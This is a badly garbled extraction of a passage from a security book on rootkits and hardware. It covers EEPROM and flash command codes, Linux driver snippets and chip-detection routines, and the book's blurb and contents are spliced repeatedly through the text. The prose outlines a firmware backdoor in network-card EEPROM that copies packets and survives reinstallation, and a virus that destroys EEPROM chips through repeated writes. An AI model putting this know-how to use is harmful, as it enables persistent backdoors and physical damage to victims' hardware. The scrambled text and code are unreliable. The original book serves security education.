Publisher: Addison Wesley

12

FLASH

Pub Date: February 17, 2004

 

EEPROMISBN: 0-201-78695-8

14

Pages: 512

16

CTRLMDI

EARLYRX

20

general-purpose pointer

misc. commands

access to flash RAM

access to serial EEPROM

MDI interface control

Early receive byte count

TheHowcommanddoes softwarebytesbrethak?tcanHowbedosenattackerstothe 82559make softwareinclude break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Command value

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

techniquesNOP

used by bad guys to break0 software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

SETUP

0x1000

This must-have book may shock you—and it will certainly educate you.Getting beyond the

CONFIG

0x2000

 

script kiddie treatment found in many hacking books, you will learn about

MULTLIST

0x3000

multicast list

Why software exploit will continue to be a serious problem

TRANSMIT

0x4000

 

 

 

When network security mechanisms do not work

 

TDR

0x5000

 

Attack patterns

0x6000

 

DUMP

 

Reverse engineering

0x7000

diagnostics

DIAG

Classic attacks against server software

 

SUSPEND

0x40000000

 

Surprising attacks against client software

 

INTERRUPT

0x20000000

 

FLEXMODETechniques for crafting malicious0x80000input

The technical details of buffer overflows

The EEPROM port is offset 14 bytes from the base address of the 82559. Commands can be sen Rootkits

to the EEPROM port. These commands can be combined together via an or operation:

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break software.

Command

value

 

SHIFT_CLK

0x01

shift clock

CS

0x02

EEPROM chip select

WRITE

0x04

 

Table of Contents

READ

0x08

Index

Exploiting Software How to Break Code

0x4802

ENABLE

ByGreg Hoglund,Gary McGraw

To sendPublisher:a commandAddison Wesleyto the serial EEPROM, the software should perform the following operation testPubsystemDate: Februaryin our lab17, 2004the 82559 is based at 0x3000. Thus, operations are performed using this

as a base. The EEPROM register is 14 bytes above the base, thus it lands at 0x300E. Notice that

ISBN: 0-201-78695-8

EEPROM commands are OR'd together.

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

OUT( ENABLE | SHIFT_CLK, 0x300E );

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

// construct a 2-byte command

This must-have book may shock you—and it will certainly educate you.Getting beyond the

OUT( command, 0x300E );

script kiddie treatment found in many hacking books, you will learn about

// delay for EEPROM

Why software exploit will continue to be a serious problem

OUT( SHIFT_CLK, 0x300E );

When network security mechanisms do not work

// delay for EEPROM

Attack patterns

response_code = IN(0x300E);

Reverse engineering

OUT( ENABLE, 0x300E );

Classic attacks against server software

OUT( ENABLE | SHIFT_CLK, 0x300E ); // terminate EEPROM access

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

You may reverse engineer drivers or use open-source driver code to determine how a given har

component works. The Linux OS has a lot of driver support and is an invaluable source for learn Rootkits

control codes and offsets for a given hardware device. For example, this is a short snippet of co

[5]

Exploitingthe Linux 3C509Softwaredriveris filledthatwithillustheratestools,writingconcepto thes,andEEPROMknowledgeof th necessary3C509ethernetto breakcard: software.

[5] Once again, this code comes courtesy of the Linux driver found in the file 3c509.c.

static void write_eeprom(short ioaddr, int index, int value)

{

 

outw(value, ioaddr + 12);

 

outw(EEPROMTable of_EWENB,Contents ioaddr

+ 10);

Index

usleep(60);

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

outw(EEPROM_ERASE + index, ioaddr + 10);

Publisher: Addison Wesley

usleep(60);

Pub Date: February 17, 2004

outw(EEPROMISBN: 0-201-78695_EWENB,-8 ioaddr + 10);

Pages: 512

usleep(60);

outw(value, ioaddr + 12);

outw(EEPROM_WRITE + index, ioaddr + 10);

How does software break? How do attackers make software break on purpose? Why are

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? usleep(10000);

What tools can be used to break software? This book provides the answers.

}

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

When examining source code for a driver, you will notice that many of the values include bit shi script kiddie treatment found in many hacking books, you will learn about

masks. This is because input/output ports are typically made up of many short bit fields. You sh consult the data sheets of particular target EEPROM chips to determine their exact operation.

Why software exploit will continue to be a serious problem

Most EEPROM chips are not fully used by the card. There are thus "cavities" of unused space wh can beWhenstashedn twork.In somesecuritycases,mectheanismsflash ordothenotEEPROMwork will contain opcodes that are used by t micromachine. In this case you can modify the opcodes to make copies of certain packets and r

Attack patterns

them onto the network. This is a rather insidious trick because once the opcodes are altered, th

remain altered forever. In other words, if the OS is reinstalled, the backdoor will remain. In fac

Reverse engineering

ethernet card is transferred to a different computer, it will still include the Trojan code.

Classic attacks against server software

SerialSurprisingEEPROMattacksversusagain tParallelclient softwareEEPROM

Techniques for crafting malicious input

Serial EEPROMs are not conventional memory because of the serial nature of reads and writes.

operate on a special bus called the I2C (interintegrated circuit ) bus. Serial EEPROMS are gener

The technical details of buffer overflows

slower than the parallel chips. They use two pins for operation. Some serial EEPROM chips use f

for operation. Rootkits

Parallel EEPROM, on the other hand, can be accessed like static RAM and will be wired to the ad Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

bus. In some cases, the EEPROM chips will not be exposed for read/write operations except via software.

input/output controller chips.

Burning Out Hardware

Serial EEPROM chips are the Achilles' heel that allows viruses to destroy hardware. In the past, would destroy hardware with viruses by setting weird clock speeds on the video card or by park hard drive heads and then performing a seek. Today, many such tricks no longer work. Howeve

can write a virus that burns data to a serial EEPROM in a tight loop. Many chips are only rated f 1 million write operations per byte. That means that in less than an hour you can destroy the ch

Serial EEPROMS are becoming much more common in hardware, so the opportunity for physica destruction from software will only continue to grow. Debugging a faulty EEPROM chip will be d and, even if the problem is discovered, the EEPROM chip is surface mounted to the mother boar making replacement difficult and expensive.

Table of Contents

Index

Manufacturers

Exploiting Software How to Break Code

ByGreg Hoglund,Gary McGraw

Here is a short list of EEPROM chip manufacturers. The reader can consult each manufacturer's

sheet and documentation directly for further information. The chip numbers are included for tho

Publisher: Addison Wesley

enough to open the hood on a device. Some attackers have been known to go over each chip w

Pub Date: February 17, 2004

small flashlight, writing down identifying marks.

ISBN: 0-201-78695-8

Pages: 512

How does software break? How do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys?

What tools can be used to break software? This book provides the answers.

Amtel

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and AT28XXXtechniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the

Fairchildscr pt k ddiesemiconductortreatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

National Semiconductor

When network security mechanisms do not work

93CXXX

Attack patterns

Reverse engineering

Microchip

Classic attacks against server software

24CXXXSurprising attacks against client software

LargeTechniquesdevicesfor craftingincludemalicious24C32, input24C64, 24C128, 24C256,

The technical details of buffer overflows

24C5412, 24C04, 24C08, 24C16.

Rootkits

These require two-byte address fields but are not typically

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break found on a PC.

software.

93CXXX

SIEMENS

SDEXXX

SDAXXX

Other

24CXXX

Table of Contents

24XX

Index

Exploiting Software How to Break Code

AT17XXX

ByGreg Hoglund,Gary McGraw

AT90XXX

Publisher: Addison Wesley

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

Detecting Chips via Common Flash Interface (CFI)

Writing code that will scan through a systems memory map and identify flash RAM devices is an good technique to know. The query access command is 0x98. The JEDEC ID mode is 0x90. The

How does software break? How do attackers make software break on purpose? Why are

query access code is written to the device base address plus an offset of 0x55. The device must

firewalls, intrusionDependingdetection systems, and antivirus software not keeping out the bad guys? read mode. the bus width, the value that needs to be written will be 0x98,0x0098

What tools can be usedalsoto break software? This book provides the answers.

0x00000098. You can try 0x98,0x9898, or 0x98989898. Some flash devices ignore the addr

will enter query mode if they see the value 0x98 on the data bus. The base may also be 0x55,0

Exploiting. Softwareis loaded with examples of real attacks, attack patterns, tools, and

0x154h

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

Once query mode is set, the chip should show the ASCII characters QR or QRY at offset 0x10.

follows is a vendor ID, a 16-bit value usually at location 0x13. Vendorand device-specific infor

This must-have book may shock you—and it will certainly educate you.Getting beyond the

can follow this. Using the query mode allows the attacker to determine exactly which kind of chi

script kiddie treatment found in many hacking books, you will learn about

are dealing with. The CFI specification is published and available in the public domain.

The following is a list of 16-bit vendor IDs:

 

Why software exploit will continue to be a serious problem

0

When network security mechanisms do not work

 

NULL

1

Attack patterns

Intel/Sharp

 

2

Reverse engineering

AMD/Fujitsu

3

 

Intel

 

Classic attacks against server software

4

 

AMD/Fujitsu

 

Surprising attacks against client software

256

 

Mitsubishi

 

Techniques for crafting malicious input

257

 

Mitsubishi

258

The technical details of buffer overflows

 

SST

Rootkits

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

Example:software. Detect a Flash RAM Chip

1.put device in query mode

a.base+0x55 = 0x98

b.base+0xAA = 0x9898

2.base + 10 == 'QRY'

Table of Contents

Index

3. is it RAM?

Exploiting Software How to Break Code

ByGreg Hoglunda. Perform,Gary McGrawa write and then a read

b. Put back original byte if this worked

Publisher: Addison Wesley

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

Pages: 512

Detecting Chips via ID Mode or JEDEC ID

The JEDEC mode for detecting flash chips is older than CFI. However, some older chips can be d withHow thisdoestechniqusoftware.break?The manufacturerHow do attackersand devicemakecansoftwarebe detectedbreak.onHerepurpose?are someWhycodearesnippet performfirewalls,queintrusionies fordetectionJEDEC informationsystems, and. Thisantivirusexamplesoftwarecode is notfromkeepingthe MTDout-Linuxthe baddistributionguys? [6]

What tools can be used to break software? This book provides the answers.

[6] This code comes from the jedec_probe.c file found in the MTD-Linux distribution.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and techniques used by bad guys to break software. If you want to protect your software from attack, you must first learn how real attacks are really carried out.

This must-have book may shock you—and it will certainly educate you.Getting beyond the script kiddie treatment found in many hacking books, you will learn about

Why software exploit will continue to be a serious problem

/* Reset */

When network security mechanisms do not work

jedec_reset(base, map, cfi);

Attack patterns

/* Autoselect Mode */

Reverse engineering

if(cfi->addr_unlock1) {

Classic attacks against server software

Surprising attackscfi sendagainstgen_clientcmd(0xaa,softwarecfi->addr_unlock1, base, map, cfi,

CFI_DEVICETYPETechniques forX8,craftingNULL);malicious input

The technical details of buffer overflows

cfi_send_gen_cmd(0x55, cfi->addr_unlock2, base, map, cfi,

Rootkits

CFI_DEVICETYPE_X8, NULL);

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

}

software.

cfi_send_gen_cmd(0x90, cfi->addr_unlock1, base, map, cfi, CFI_DEVICETYPE_X8

NULL);

followed by

static inline u32 jedec_read_mfr(struct map_info *map, __u32 base,

struct cfi_private *cfi)

{

Table of Contents

 

u32 result, mask;

Index

Exploiting Software How to Break Code

mask = (1 << (cfi->device_type * 8)) -1;

ByGreg Hoglund,Gary McGraw

result = cfi_read(map, base);

Publisher: Addison Wesley

result &= mask;

Pub Date: February 17, 2004

ISBN: 0-201-78695-8

return result;

Pages: 512

}

static inline u32 jedec_read_id(struct map_info *map, __u32 base,

How structdoes softwarecfi privatebre k? How*cfi)do attackers make software break on purpose? Why are firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What{ tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and int osf;

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out. u32 result, mask;

This must-have book may shock you—and it will certainly educate you.Getting beyond the osf = cfi->interleave *cfi->device_type;

script kiddie treatment found in many hacking books, you will learn about

mask = (1 << (cfi->device_type * 8)) -1;

Why software exploit will continue to be a serious problem result = cfi_read(map, base + osf);

When network security mechanisms do not work result &= mask;

Attack patterns return result;

Reverse engineering

}

Classic attacks against server software

Surprising attacks against client software

static inline void jedec_reset(u32 base, struct map_info *map,

Techniques for crafting malicious input

struct cfi_private *cfi)

The technical details of buffer overflows

{

Rootkits

/* Reset */

Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

software.

cfi_send_gen_cmd(0xF0, 0, base, map, cfi, cfi->device_type, NULL);

/* Some misdesigned Intel chips do not respond for 0xF0 for a reset,

*so ensure we're in read mode. Send both the Intel and the AMD command

*for this. Intel uses 0xff for this, AMD uses 0xff for nop, so

* this should be safe.

*/

cfi_send_gen_cmd(0xFF, 0, base, map, cfi, cfi->device_type, NULL);

/* Manufacturers */

Table of Contents

0x0001

#define MANUFACTURER_AMD

Index

Exploiting Software How to Break Code

 

0x001f

#define MANUFACTURER_ATMEL

 

ByGreg Hoglund,Gary McGraw

 

 

#define MANUFACTURER_FUJITSU

 

0x0004

Publisher: Addison Wesley

 

 

 

#definePub Date:MANUFACTURERFebruary 17, 2004_INTEL

 

0x0089

ISBN: 0-201-78695-8

 

 

 

#definePages:MANUFACTURER512

_MACRONIX

0x00C2

#define MANUFACTURER_ST

 

0x0020

#define MANUFACTURER_SST

0x00BF

How does software break? How do attackers make software break on purpose? Why are

#define MANUFACTURER_TOSHIBA

0x0098

firewalls, intrusion detection systems, and antivirus software not keeping out the bad guys? What tools can be used to break software? This book provides the answers.

Exploiting Softwareis loaded with examples of real attacks, attack patterns, tools, and

/* AMD */

techniques used by bad guys to break software. If you want to protect your software from

attack, you must first learn how real attacks are really carried out.

#define AM29F800BB

0x2258

This must-have book may shock you—and it will certainly educate you.Getting beyond the

#define AM29F800BT

0x22D6

script kiddie treatment found in many hacking books, you will learn about

#define AM29LV800BB

0x225B

Why software exploit will continue to be a serious problem

When network security mechanisms do not work

/* Fujitsu */

 

Attack patterns

0x22D7

#define MBM29LV650UE

Reverse engineering

0x22F6

#define MBM29LV320TE

Classic attacks against server software

}

Surprising attacks against client software

Techniques for crafting malicious input

The technical details of buffer overflows

To wrap up our discussion of hardware, EEPROM chips remain a prime area for storing subversi

As more embedded devices become available, the EEPROM-based virus will be more applicable Rootkits

dangerous. Legitimate code exists that will query for EEPROM devices and perform operations.

Practitioners who wish to experiment with EEPROM code will need some test machines that hav Exploiting Softwareis filled with the tools, concepts, and knowledge necessary to break

embedded EEPROM. Device driver code found in Linux and Windows provides plenty of fodder f software.

experiments.